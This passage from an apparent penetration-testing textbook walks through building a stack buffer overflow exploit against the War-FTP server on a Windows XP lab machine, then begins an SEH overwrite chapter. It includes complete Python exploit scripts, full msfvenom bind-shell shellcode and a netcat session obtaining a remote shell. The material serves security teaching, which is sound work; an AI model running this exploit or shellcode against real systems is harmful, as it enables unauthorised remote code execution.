Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6
Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2
Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ap3Ar7Ar8
Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4
Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Ax2Ax3Ax4
Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0
Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7
Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3
Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9
Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5
Bk"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
386 Chapter 17
response = s.recv(1024)
print response
s.send('USER ' + buffer + '\r\n')
response = s.recv(1024)
print response
s.send('PASS PASSWORD\r\n')
s.close()
Listing 17-3: Exploit with cyclic pattern
Now run the exploit again with the generated pattern starting at u,
replacing the 1,100 As.
[email protected]:~# ./ftpexploit
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.
331 User name okay, Need password.
Having run our exploit with Metasploit’s pattern, look back at Immunity
Debugger, as shown in Figure 17-7, to see what value is contained in EIP and
to find out where in our attack string we overwrite the return address.
Figure 17-7: Finding the return address overwrite
War-FTP has crashed again, but this time EIP contains four bytes of our
generated pattern: 32714131. We can use Mona to determine where exactly in
A Stack-Based Buffer Overflow in Windows
387
the 1,100-character cyclic pattern the ASCII equivalent of 32714131 is. Enter
!mona pattern_offset 32714131 to get just the offset, or enter !mona findmsp at the
Immunity Debugger prompt, as shown in Figure 17-8, to have Mona perform
additional analysis on all registers and on instances of the pattern in memory.
Figure 17-8: Finding the pattern offsets in Mona
Mona finds instances of the cyclic pattern in memory. The output of
the command is written to C:\logs\war-ftpd\findmsp.txt. Part of the output is
shown here.
EIP
ESP
EDI
EBP
contains normal pattern : 0x32714131
(0x00affd48) points at offset 493 in
(0x00affe48) points at offset 749 in
(0x00affda0) points at offset 581 in
(offset 485)
normal pattern (length 607)
normal pattern (length 351)
normal pattern (length 519)
Verifying Offsets
According to Mona, our return address overwrite is 485 bytes into the attack
string. We can verify this, as shown in Listing 17-4.
[email protected]:~# cat ftpexploit
#!/usr/bin/python
import socket
388 Chapter 17
u buffer = "A" * 485 + "B" * 4 + "C" * 611
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer + '\r\n')
response = s.recv(1024)
print response
s.send('PASS PASSWORD\r\n')
s.close()
Listing 17-4: Verifying the EIP offset
Now we’ll create an attack string that contains 485 As, 4 Bs, and 611 Cs as
shown at u in Listing 17-4. With our new string in place, if EIP contains
42424242 when the program crashes, we’ll know we have found the correct four
bytes for the return address. (Remember to restart War-FTP in Immunity
Debugger before running the exploit again.) Now, check EIP, as shown in
Figure 17-9.
As expected, War-FTP has crashed again, this time with 42424242 in EIP.
This result confirms that we have found the location of the return address
in our attack string. Next we need to find someplace to redirect execution
and exploit this buffer overflow vulnerability.
Figure 17-9: War-FTP crashes with EIP filled with Bs
A Stack-Based Buffer Overflow in Windows
389
Hijacking Execution
In the exploit example discussed in Chapter 16, we sent execution to another
function. Unfortunately, because we don’t have the source code of War-FTP
to review for potentially interesting code, we’ll use a more typical technique
for exploit development this time. Instead of redirecting execution to somewhere else in the program, we will introduce our own instructions and
redirect execution to part of our attack string.
First, we need to find out if part of our attack string is easily accessible
at the time of the crash. Look back at the output of the !mona findmsp command in C:\logs\warftp-d\findmsp.txt, as shown here.
EIP
ESP
EDI
EBP
contains normal pattern : 0x32714131
(0x00affd48) points at offset 493 in
(0x00affe48) points at offset 749 in
(0x00affda0) points at offset 581 in
(offset 485)
normal pattern (length 607)
normal pattern (length 351)
normal pattern (length 519)
In addition to taking control of EIP, the registers ESP, EDI, and EBP
also point to part of the attack string. In other words, our attack string
decides the contents of these registers, and there’s nothing to stop us from
replacing the part of the attack string (the Cs in our current crash) with
useful instructions for the CPU to execute.
We can see that ESP is at memory address 00AFFD48, while EBP is slightly
higher in memory at address 00AFFDA0. EDI is at 00AFFE48. We could redirect
execution to any of these locations, but with the lower address farther up
the stack, we have a little more space for our instructions.
Note
Also, note that ESP does not point directly to the beginning of our Cs. Our saved
return pointer overwrite is at byte 485 in the pattern, but ESP is at 493, eight bytes
away (four bytes for the return address and four bytes of Cs).
Right-click ESP in the top right of the Immunity Debugger window,
and select Follow in Stack. The stack is shown in the bottom right of the
Immunity Debugger window. Scroll up a few lines, as shown in Figure 17-10.
Notice that the line above ESP also contains four Cs, and above that
are four Bs for the return address. This tells us that we need to start our
malicious instructions for the CPU to execute four bytes into our Cs in the
attack string (because ESP is four bytes into the Cs); otherwise, the first
four bytes of our shellcode will be missed. (This sort of scenario will come
up frequently because these four Cs are caused by a calling convention and
indicate that the function has cleaned-up arguments.)
Note
390 Chapter 17
Calling conventions are a set of rules implemented in a compiler, describing how a
child function will receive arguments from its caller function. Some conventions will
cause the caller function to remove the arguments from the stack, while others state
that the child function must remove the arguments. The latter will cause one or more
dwords (depending on the number of arguments) to be skipped on the stack automatically, as shown in Figure 17-10, as soon as the child function ends.
Figure 17-10: ESP controlled by the attack string
Now we can just put 00AFFD48 into the return address, replace our Cs
with shellcode, and we will have a complete exploit, right? Close, but not
quite. Unfortunately, if we just hardcode the address 00AFFD48 into our
return address, the exploit may work just fine for us but not in other cases—
and we want it to work as universally as possible. As we saw in Chapter 16,
the locations of registers like ESP can change based on program factors
such as the length of provided arguments or because the stack is tied to a
thread, which means the stack address can differ the next time you attack
the application. Lucky for us, jumping to a CPU register to execute its contents is denoted by the assembly language instruction JMP ESP (or another
register name, as needed). In pre-ASLR operating systems, such as our
Windows XP SP3 target, Windows DLLs were loaded into the same place
in memory every time. That means if we find a JMP ESP inside an executable
module on our Windows XP target, it should be in the same place on every
Windows XP SP3 English-language machine.
For that matter, JMP ESP is not our only option. As long as we end up with
execution pointed to ESP, we can use an equivalent instruction to JMP ESP or
even a series of instructions. For example, CALL ESP will work, or PUSH ESP followed by RET, which sends execution to the memory address in ESP.
We can find all the occurrences of JMP ESP and the logical equivalents in
the executable modules for War-FTP with the command !mona jmp -r esp, as
shown in Figure 17-11.
A Stack-Based Buffer Overflow in Windows
391
Figure 17-11: Searching for JMP ESP with Mona
The results are written to C:\logs\war-ftpd\jmp.txt. We are presented with
84 possible JMP ESP (or equivalent) instructions. Some may contain bad
characters (as we’ll discuss later in the chapter)—which instructions should
we choose? As a rule of thumb, go for modules that belong to the application itself and not to the operating system. If that is not possible, try relatively stable modules such MSVCRT.dll because very few changes have been
made to this module in Windows patches compared with other Windows
modules (although changes are still possible based on the language of the
operating system). The JMP ESP instructions Mona found in MSVCRT.dll are
shown next.
0x77c35459 : push esp # ret | {PAGE_EXECUTE_READ} [MSVCRT.dll] ASLR: False,
SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\MSVCRT.dll)
0x77c354b4 : push esp # ret | {PAGE_EXECUTE_READ} [MSVCRT.dll] ASLR: False,
SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\MSVCRT.dll)
0x77c35524 : push esp # ret | {PAGE_EXECUTE_READ} [MSVCRT.dll] ASLR: False,
SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\MSVCRT.dll)
0x77c51025 : push esp # ret | {PAGE_EXECUTE_READ} [MSVCRT.dll] ASLR: False,
SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\MSVCRT.dll)
392 Chapter 17
Rebase: False,
Rebase: False,
Rebase: False,
Rebase: False,
Let’s use the first one: the PUSH ESP followed by a RET at 0x77C35459. As in
Chapter 16, we can set a breakpoint to pause execution when we reach our
instructions to redirect execution to ESP and make sure everything is working correctly before we replace our Cs with instructions to be executed.
Set a breakpoint at the memory address 0x77C35459 with the command bp
0x77C35459 in Immunity Debugger, as shown in Figure 17-12. (To view all currently set breakpoints, go to View4Breakpoints in Immunity Debugger.)
Figure 17-12: Breakpoints in Immunity Debugger
Now replace the four Bs in your exploit string with the location of the
redirection to ESP, as shown in Listing 17-5.
[email protected]:~# cat ftpexploit
#!/usr/bin/python
import socket
buffer = "A" * 485 + "\x59\x54\xc3\x77" + "C" * 4 + "D" * 607 u
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
A Stack-Based Buffer Overflow in Windows
393
print response
s.send('USER ' + buffer + '\r\n')
response = s.recv(1024)
print response
s.send('PASS PASSWORD\r\n')
s.close()
Listing 17-5: Using a return address from an executable module
With a breakpoint prepared, let’s place our new return address at the
right location in our attack string at u and change the 611 Cs to four Cs
followed by 607 Ds to account for the four bytes of the attack string before
ESP. Once the attack string is in place, run the exploit against War-FTP,
and see if it reaches our breakpoint in Immunity Debugger, as shown in
Figure 17-13.
Figure 17-13: We reached our breakpoint.
Perfect—notice in the bottom of the Immunity Debugger window that
we hit our breakpoint.
Note
394 Chapter 17
If you forget to take endianness into account, you might not reach your breakpoint;
instead, the program will crash with an access violation at 5954C377. Be sure to flip
the bytes around to little-endian format.
The next command to be executed is shown in the top left of the
Immunity Debugger window in the CPU pane. Use F7 to execute one command at a time rather than have the program continue running normally.
We press F7 twice to execute the PUSH ESP and RET instructions, and, as
expected, execution is redirected to the beginning of our Ds (44 in hex),
as shown in Figure 17-14.
Figure 17-14: Redirecting execution to our attack string
Getting a Shell
Now we just need to put something useful in place of the Ds from the
previous section for the CPU to execute on our behalf. In Chapter 4, we
used the Metasploit tool Msfvenom to generate malicious executables. We
can also use it to create raw shellcode to put in our handwritten exploits.
For instance, we can tell our hijacked CPU to open a bind shell on TCP
port 4444 (or any other port) by using Msfvenom to generate the shellcode
for a Metasploit payload.
We need to tell Msfvenom the payload to use—in this case windows/
shell_bind_tcp, the inline Windows command shell. We also need to provide
it with the maximum size we can have for our shellcode.
A Stack-Based Buffer Overflow in Windows
395
Note
As you experiment with crashing War-FTP, you will notice that you can actually make
the attack string slightly bigger, but things start to act strangely around 1,150 characters. (We will see what this is all about in Chapter 18.) At 1,100 characters we are
safe, and our exploit will work as expected each time.
Our current exploit string has 607 Ds, so we have 607 bytes for our
shellcode. Finally, we need to tell Msfvenom which special characters to
avoid when creating the payload. In this case, we need to avoid the null byte
(\x00), carriage return (\x0d), line feed (\x0a), and @ (\x40).
Note
Finding bad characters is an advanced topic beyond the scope of this book, so just
trust me that these are the right ones for this exploit. These bad characters make
sense: The null byte terminates a string, carriage return and line feed denote
a new line, and @ will break the [email protected] syntax for an FTP login. For
more information on this topic, check out my blog post “Finding Bad Characters
with Immunity Debugger and Mona.py” (http://www.bulbsecurity.com/
finding-bad-characters-with-immunity-debugger-and-mona-py/).
Feed this information into Msfvenom, as shown in Listing 17-6.
[email protected]:~# msfvenom -p windows/shell_bind_tcp -s 607 -b '\x00\x40\x0a\x0d'
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
buf =
"\xda\xd4\xd9\x74\x24\xf4\xba\xa6\x39\x94\xcc\x5e\x2b\xc9" +
"\xb1\x56\x83\xee\xfc\x31\x56\x14\x03\x56\xb2\xdb\x61\x30" +
"\x52\x92\x8a\xc9\xa2\xc5\x03\x2c\x93\xd7\x70\x24\x81\xe7" +
"\xf3\x68\x29\x83\x56\x99\xba\xe1\x7e\xae\x0b\x4f\x59\x81" +
"\x8c\x61\x65\x4d\x4e\xe3\x19\x8c\x82\xc3\x20\x5f\xd7\x02" +
"\x64\x82\x17\x56\x3d\xc8\x85\x47\x4a\x8c\x15\x69\x9c\x9a" +
"\x25\x11\x99\x5d\xd1\xab\xa0\x8d\x49\xa7\xeb\x35\xe2\xef" +
"\xcb\x44\x27\xec\x30\x0e\x4c\xc7\xc3\x91\x84\x19\x2b\xa0" +
"\xe8\xf6\x12\x0c\xe5\x07\x52\xab\x15\x72\xa8\xcf\xa8\x85" +
"\x6b\xad\x76\x03\x6e\x15\xfd\xb3\x4a\xa7\xd2\x22\x18\xab" +
"\x9f\x21\x46\xa8\x1e\xe5\xfc\xd4\xab\x08\xd3\x5c\xef\x2e" +
"\xf7\x05\xb4\x4f\xae\xe3\x1b\x6f\xb0\x4c\xc4\xd5\xba\x7f" +
"\x11\x6f\xe1\x17\xd6\x42\x1a\xe8\x70\xd4\x69\xda\xdf\x4e" +
"\xe6\x56\xa8\x48\xf1\x99\x83\x2d\x6d\x64\x2b\x4e\xa7\xa3" +
"\x7f\x1e\xdf\x02\xff\xf5\x1f\xaa\x2a\x59\x70\x04\x84\x1a" +
"\x20\xe4\x74\xf3\x2a\xeb\xab\xe3\x54\x21\xda\x23\x9b\x11" +
"\x8f\xc3\xde\xa5\x3e\x48\x56\x43\x2a\x60\x3e\xdb\xc2\x42" +
"\x65\xd4\x75\xbc\x4f\x48\x2e\x2a\xc7\x86\xe8\x55\xd8\x8c" +
"\x5b\xf9\x70\x47\x2f\x11\x45\x76\x30\x3c\xed\xf1\x09\xd7" +
"\x67\x6c\xd8\x49\x77\xa5\x8a\xea\xea\x22\x4a\x64\x17\xfd" +
"\x1d\x21\xe9\xf4\xcb\xdf\x50\xaf\xe9\x1d\x04\x88\xa9\xf9" +
"\xf5\x17\x30\x8f\x42\x3c\x22\x49\x4a\x78\x16\x05\x1d\xd6" +
"\xc0\xe3\xf7\x98\xba\xbd\xa4\x72\x2a\x3b\x87\x44\x2c\x44" +
"\xc2\x32\xd0\xf5\xbb\x02\xef\x3a\x2c\x83\x88\x26\xcc\x6c" +
"\x43\xe3\xfc\x26\xc9\x42\x95\xee\x98\xd6\xf8\x10\x77\x14" +
"\x05\x93\x7d\xe5\xf2\x8b\xf4\xe0\xbf\x0b\xe5\x98\xd0\xf9" +
"\x09\x0e\xd0\x2b"
Listing 17-6: Generating shellcode with Msfvenom
396 Chapter 17
Msfvenom generated our shellcode in 368 bytes, leaving us plenty of
room to spare. Replace the Ds in the exploit with the generated shellcode,
as shown in Listing 17-7.
[email protected]:~# cat ftpexploit
#!/usr/bin/python
import socket
shellcode = ("\xda\xd4\xd9\x74\x24\xf4\xba\xa6\x39\x94\xcc\x5e\x2b\xc9" +
"\xb1\x56\x83\xee\xfc\x31\x56\x14\x03\x56\xb2\xdb\x61\x30" +
"\x52\x92\x8a\xc9\xa2\xc5\x03\x2c\x93\xd7\x70\x24\x81\xe7" +
"\xf3\x68\x29\x83\x56\x99\xba\xe1\x7e\xae\x0b\x4f\x59\x81" +
"\x8c\x61\x65\x4d\x4e\xe3\x19\x8c\x82\xc3\x20\x5f\xd7\x02" +
"\x64\x82\x17\x56\x3d\xc8\x85\x47\x4a\x8c\x15\x69\x9c\x9a" +
"\x25\x11\x99\x5d\xd1\xab\xa0\x8d\x49\xa7\xeb\x35\xe2\xef" +
"\xcb\x44\x27\xec\x30\x0e\x4c\xc7\xc3\x91\x84\x19\x2b\xa0" +
"\xe8\xf6\x12\x0c\xe5\x07\x52\xab\x15\x72\xa8\xcf\xa8\x85" +
"\x6b\xad\x76\x03\x6e\x15\xfd\xb3\x4a\xa7\xd2\x22\x18\xab" +
"\x9f\x21\x46\xa8\x1e\xe5\xfc\xd4\xab\x08\xd3\x5c\xef\x2e" +
"\xf7\x05\xb4\x4f\xae\xe3\x1b\x6f\xb0\x4c\xc4\xd5\xba\x7f" +
"\x11\x6f\xe1\x17\xd6\x42\x1a\xe8\x70\xd4\x69\xda\xdf\x4e" +
"\xe6\x56\xa8\x48\xf1\x99\x83\x2d\x6d\x64\x2b\x4e\xa7\xa3" +
"\x7f\x1e\xdf\x02\xff\xf5\x1f\xaa\x2a\x59\x70\x04\x84\x1a" +
"\x20\xe4\x74\xf3\x2a\xeb\xab\xe3\x54\x21\xda\x23\x9b\x11" +
"\x8f\xc3\xde\xa5\x3e\x48\x56\x43\x2a\x60\x3e\xdb\xc2\x42" +
"\x65\xd4\x75\xbc\x4f\x48\x2e\x2a\xc7\x86\xe8\x55\xd8\x8c" +
"\x5b\xf9\x70\x47\x2f\x11\x45\x76\x30\x3c\xed\xf1\x09\xd7" +
"\x67\x6c\xd8\x49\x77\xa5\x8a\xea\xea\x22\x4a\x64\x17\xfd" +
"\x1d\x21\xe9\xf4\xcb\xdf\x50\xaf\xe9\x1d\x04\x88\xa9\xf9" +
"\xf5\x17\x30\x8f\x42\x3c\x22\x49\x4a\x78\x16\x05\x1d\xd6" +
"\xc0\xe3\xf7\x98\xba\xbd\xa4\x72\x2a\x3b\x87\x44\x2c\x44" +
"\xc2\x32\xd0\xf5\xbb\x02\xef\x3a\x2c\x83\x88\x26\xcc\x6c" +
"\x43\xe3\xfc\x26\xc9\x42\x95\xee\x98\xd6\xf8\x10\x77\x14" +
"\x05\x93\x7d\xe5\xf2\x8b\xf4\xe0\xbf\x0b\xe5\x98\xd0\xf9" +
"\x09\x0e\xd0\x2b")
buffer = "A" * 485 + "\x59\x54\xc3\x77" + "C" * 4 + shellcode
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer + '\r\n')
response = s.recv(1024)
print response
s.send('PASS PASSWORD\r\n')
s.close()
Listing 17-7: Our finished exploit
When you try running the exploit, something unexpected happens.
Though we are still able to hit our breakpoint and redirect execution to our
shellcode, War-FTP crashes before we receive our bind shell on port 4444.
Something in the shellcode is causing a crash, as shown in Figure 17-15.
A Stack-Based Buffer Overflow in Windows
397
Figure 17-15: War-FTP crashes
Msfvenom’s encoded shellcode needs to first decode itself before
executing, and as part of the decoding process, it needs to find its location in memory using a routine called getPC. A common technique for
finding the current location in memory includes using an instruction
called FSTENV, which writes a structure onto the stack, overwriting what’s
there—in our case part of the shellcode. All we need to do to fix this is
move ESP away from the shellcode, so getPC has room to work without
corrupting our shellcode. (The problem in general is that if the values in
EIP and ESP are too close together, shellcode tends to corrupt itself, either
during decoding or during execution.) This is what caused our crash in
the previous run.
We can use the Metasm utility to turn a simple assembly instruction
into shellcode that we can drop into our exploit. We need to move ESP
away from our shellcode in memory. We can do this using the assembly ADD
instruction. The syntax is ADD destination, amount. Because our stack consumes lower memory addresses, let’s subtract 1,500 bytes from ESP. The
number of bytes should be large enough to avoid corruption; 1,500 bytes is
usually a safe choice.
Change directories to /usr/share/metasploit-framework/tools and start
metasm_shell.rb, as shown in Listing 17-8.
398 Chapter 17
[email protected]:~# cd /usr/share/metasploit-framework/tools/
[email protected]:/usr/share/metasploit-framework/tools# ./metasm_shell.rb
type "exit" or "quit" to quit
use ";" or "\n" for newline
metasm > sub esp, 1500u
"\x81\xec\xdc\x05\x00\x00"
metasm > add esp, -1500v
"\x81\xc4\x24\xfa\xff\xff"
Listing 17-8: Generating shellcode with Metasm
If we try sub esp, 1500 u, the resulting shellcode includes null bytes,
and, as discussed earlier, a null byte is a bad character that needs to be
avoided due to the FTP specification. Instead, enter add esp, -1500 v
(a logical equivalent) into the metasm prompt.
Now add the resulting shellcode to the exploit right before the windows/
shell_bind_tcp shellcode, as shown in Listing 17-9.
#!/usr/bin/python
import socket
shellcode = ("\xda\xd4\xd9\x74\x24\xf4\xba\xa6\x39\x94\xcc\x5e\x2b\xc9" +
"\xb1\x56\x83\xee\xfc\x31\x56\x14\x03\x56\xb2\xdb\x61\x30" +
"\x52\x92\x8a\xc9\xa2\xc5\x03\x2c\x93\xd7\x70\x24\x81\xe7" +
"\xf3\x68\x29\x83\x56\x99\xba\xe1\x7e\xae\x0b\x4f\x59\x81" +
"\x8c\x61\x65\x4d\x4e\xe3\x19\x8c\x82\xc3\x20\x5f\xd7\x02" +
"\x64\x82\x17\x56\x3d\xc8\x85\x47\x4a\x8c\x15\x69\x9c\x9a" +
"\x25\x11\x99\x5d\xd1\xab\xa0\x8d\x49\xa7\xeb\x35\xe2\xef" +
"\xcb\x44\x27\xec\x30\x0e\x4c\xc7\xc3\x91\x84\x19\x2b\xa0" +
"\xe8\xf6\x12\x0c\xe5\x07\x52\xab\x15\x72\xa8\xcf\xa8\x85" +
"\x6b\xad\x76\x03\x6e\x15\xfd\xb3\x4a\xa7\xd2\x22\x18\xab" +
"\x9f\x21\x46\xa8\x1e\xe5\xfc\xd4\xab\x08\xd3\x5c\xef\x2e" +
"\xf7\x05\xb4\x4f\xae\xe3\x1b\x6f\xb0\x4c\xc4\xd5\xba\x7f" +
"\x11\x6f\xe1\x17\xd6\x42\x1a\xe8\x70\xd4\x69\xda\xdf\x4e" +
"\xe6\x56\xa8\x48\xf1\x99\x83\x2d\x6d\x64\x2b\x4e\xa7\xa3" +
"\x7f\x1e\xdf\x02\xff\xf5\x1f\xaa\x2a\x59\x70\x04\x84\x1a" +
"\x20\xe4\x74\xf3\x2a\xeb\xab\xe3\x54\x21\xda\x23\x9b\x11" +
"\x8f\xc3\xde\xa5\x3e\x48\x56\x43\x2a\x60\x3e\xdb\xc2\x42" +
"\x65\xd4\x75\xbc\x4f\x48\x2e\x2a\xc7\x86\xe8\x55\xd8\x8c" +
"\x5b\xf9\x70\x47\x2f\x11\x45\x76\x30\x3c\xed\xf1\x09\xd7" +
"\x67\x6c\xd8\x49\x77\xa5\x8a\xea\xea\x22\x4a\x64\x17\xfd" +
"\x1d\x21\xe9\xf4\xcb\xdf\x50\xaf\xe9\x1d\x04\x88\xa9\xf9" +
"\xf5\x17\x30\x8f\x42\x3c\x22\x49\x4a\x78\x16\x05\x1d\xd6" +
"\xc0\xe3\xf7\x98\xba\xbd\xa4\x72\x2a\x3b\x87\x44\x2c\x44" +
"\xc2\x32\xd0\xf5\xbb\x02\xef\x3a\x2c\x83\x88\x26\xcc\x6c" +
"\x43\xe3\xfc\x26\xc9\x42\x95\xee\x98\xd6\xf8\x10\x77\x14" +
"\x05\x93\x7d\xe5\xf2\x8b\xf4\xe0\xbf\x0b\xe5\x98\xd0\xf9" +
"\x09\x0e\xd0\x2b")
buffer = "A" * 485 + "\x59\x54\xc3\x77" + "C" * 4 + "\x81\xc4\x24\xfa\xff\xff" + shellcode
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer + '\r\n')
A Stack-Based Buffer Overflow in Windows
399
response = s.recv(1024)
print response
s.send('PASS PASSWORD\r\n')
s.close()
Listing 17-9: Exploit with ESP moved out of the way
With ESP out of the way, and knowing that our shellcode won’t be corrupted in the process of being decoded or executed, run the exploit again
and use Netcat on Kali Linux to connect to TCP port 4444 on the Windows
target, as shown here.
[email protected]:~# nc 192.168.20.10 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Georgia\Desktop>
Sure enough, we now have a shell on the Windows target, as shown by
the Windows command prompt above.
Summary
In this chapter we used our knowledge from Chapter 16 to exploit a realworld vulnerable program: the War-FTP program with a buffer overflow
issue in the Username field. We crashed the program and located the return
address, and then, instead of hardcoding a memory address for the overwritten return address, we found a JMP ESP instruction in a loaded DLL. We
then filled the attacker-controlled ESP register with shellcode generated by
Msfvenom. Now we’ve managed to hijack control of a real program.
In the next chapter, we will look at another Windows exploitation technique, structured exception handler overwrites.
400 Chapter 17
18
Struc tured E xcep tion
H a n d l e r Ov e r w r i t e s
When something goes wrong and causes a program to
crash, it has caused an exception. Accessing an invalid
memory location is one type of exception a program
can encounter.
Windows systems use a method called structured exception handlers (SEH)
to deal with program exceptions as they arise. SEH are similar to try/catch
blocks in Java: Code is executed, and if something goes wrong, the function
stops executing and passes execution to SEH.
Each function can have its own SEH registration entry. An SEH registration record is eight bytes long, consisting of a pointer to the next SEH record
(NSEH) followed by the memory address of the exception handler, as illustrated in Figure 18-1. The list of all the SEH entries is the SEH chain.
pointer to the next SEH record
SEH handler
pointer to the next SEH record
SEH handler
FFFFFFFF
SEH handler
Figure 18-1: SEH structure
In many cases, an application uses only the operating system’s SEH
entry to handle exceptions. You are probably already familiar with this
usage; it puts up a message box with something like “Application X has
encountered a problem and needs to close.” However, programs can also
specify custom SEH entries. When an exception is encountered, execution will be passed to the SEH chain to look for an entry that can handle
the exception. To view the SEH chain for an application in Immunity
Debugger, go to View4SEH chain, as illustrated in Figure 18-2.
Figure 18-2: Viewing the SEH chain
402 Chapter 18
SEH Overwrite Exploits
Now let’s look at using SEH entries to take control of a program. A natural
question when working through the War-FTP buffer overflow example in
Chapter 17 would be, Why are we limited to 607 bytes for our shellcode?
Why can’t we write an even longer attack string and create a payload that’s
as long as we like?
We’ll begin our exploration of SEH overwrites with the exploit we used
to crash War-FTP. Instead of the 1,100-byte exploit string that we used in
the example in Chapter 17, let’s try crashing War-FTP with a 1,150-byte
string of As, as shown in Listing 18-1.
[email protected]:~# cat ftpexploit2
#!/usr/bin/python
import socket
buffer = "A" * 1150
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.20.10',21))
response = s.recv(1024)
print response
s.send('USER ' + buffer + '\r\n')
response = s.recv(1024)
print response
s.close()
Listing 18-1: War-FTP exploit with 1,150 As
As shown in Figure 18-3, the program crashes as expected, but this
time our access violation is a bit different from the one in Chapter 17. EIP
points to 0x77C3F973, a valid instruction inside MSVCRT.dll. Instead of overwriting the saved return pointer and crashing the program with EIP control, War-FTP crashed writing to memory address 0x00B00000.
Notice in the CPU pane that the instruction at 0x77C3F973 is MOV BYTE PTR
DS:[EAX], 0. Basically, the program is trying to write to the memory location of the value of EAX. Looking at the top right of Immunity Debugger, the
Registers pane, we see EAX contains the value 00B00000. Something about our
attack string seems to have corrupted EAX, because the program is now trying to write to a memory location that is not writable. Without EIP control,
is this crash still viable? Really long attack strings frequently cause an exception by trying to write data off the end of the stack.
Before we write off this exploit and move on, take a look at the SEH
chain. As shown in Figure 18-4, the structured exception handler has
been overwritten with As. Recall that in the event of a crash, execution
is passed to SEH. Though we were not able to control EIP directly at the
time of the crash, perhaps controlling SEH will allow us to still hijack
execution.
Structured Exception Handler Overwrites
403
Figure 18-3: A program crashes without EIP control.
Figure 18-4: SEH overwritten
Just as we used Mona to create a cyclic pattern to see which four bytes
overwrote the saved return pointer in the previous chapter, we will find
which four As are overwriting SEH using the command !mona pattern_create
1150 in Immunity Debugger, as shown in Figure 18-5.
404 Chapter 18
Figure 18-5: Generating a cyclic pattern with Mona
Copy the resulting pattern from C:\logs\war-ftpd\pattern.txt into the
exploit in place of the 1,150 As, as shown in Listing 18-2.
[email protected]:~# cat ftpexploit2
#!/usr/bin/python
import socket
u buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2
Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8
Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4
Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0
Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6
Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2
Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8
Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au5Au6
Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2
Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8
